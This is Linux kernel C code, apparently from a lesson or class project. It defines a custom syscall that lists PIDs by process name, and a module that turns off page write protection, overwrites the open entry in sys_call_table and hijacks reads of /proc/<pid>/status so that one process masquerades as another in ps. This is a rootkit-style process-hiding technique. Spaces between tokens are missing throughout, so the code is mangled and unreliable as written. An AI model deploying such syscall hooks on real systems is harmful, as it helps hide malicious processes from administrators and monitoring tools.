asmlinkage longsys_process_name(char *process_name) { /* tasklist struct to use */ structtask_struct *task; /* tty struct */ structtty_struct *my_tty; /* get current tty*/ my_tty = get_current_tty(); /* placeholder to print full string to tty */ char name[32]; /* <sched.h> library method that iterates through list of processes from task_struct defined above */ for_each_process(task) { /* compares the current process name (defined in task->comm) to the passed in name */ if (strcmp(task->comm, process_name) == 0) { /* convert to string and put into name[] */ sprintf(name, "PID = %ld\n", (long)task_pid_nr(task)); /* show result to user that called the syscall */ (my_tty->driver->ops->write)(my_tty, name, strlen(name)+1); } } return0; }
asmlinkage int(*original_open)(constchar *pathname, int flags); asmlinkage intopen_hijack(constchar *pathname, int flags) { /* This hooks all OPEN sys calls and check to see what the path of the file being opened is. * Currently, the paths must be hard coded for the process you wish to hide, and the process you would like it to impersonate. */ if (strstr(pathname, "/proc/5874/status") != NULL) { printk(KERN_ALERT "PS PROCESS HIJACKED %s\n", pathname); /* The new process location will be written into the syscall table for the open command, * causing it to open a different file than the one originaly requested. */ memcpy(pathname, "/proc/5882/status", strlen(pathname)+1); } return (*original_open)(pathname, flags); } /* Make page writeable */ intmake_rw(unsignedlong address) { unsignedint level; pte_t *pte = lookup_address(address, &level); /* pte points to the beginning address of a page table */ if (pte->pte & ~_PAGE_RW) { pte->pte |= _PAGE_RW; } return0; } /* Make the page write protected */ intmake_ro(unsignedlong address) { unsignedint level; pte_t *pte = lookup_address(address, &level); pte->pte = pte->pte & ~_PAGE_RW; return0; }
staticint __init start(void) { /* My sys_call_table address */ system_call_table_addr = (void *)0xc16f71c0; /* return the system call to its original state */ original_open = system_call_table_addr[__NR_open]; /* Disable page protection */ make_rw((unsignedlong)system_call_table_addr); /* Change syscall to our syscall function */ system_call_table_addr[__NR_open] = open_hijack; printk(KERN_INFO "Open psHook loaded successfully..\n"); return0; }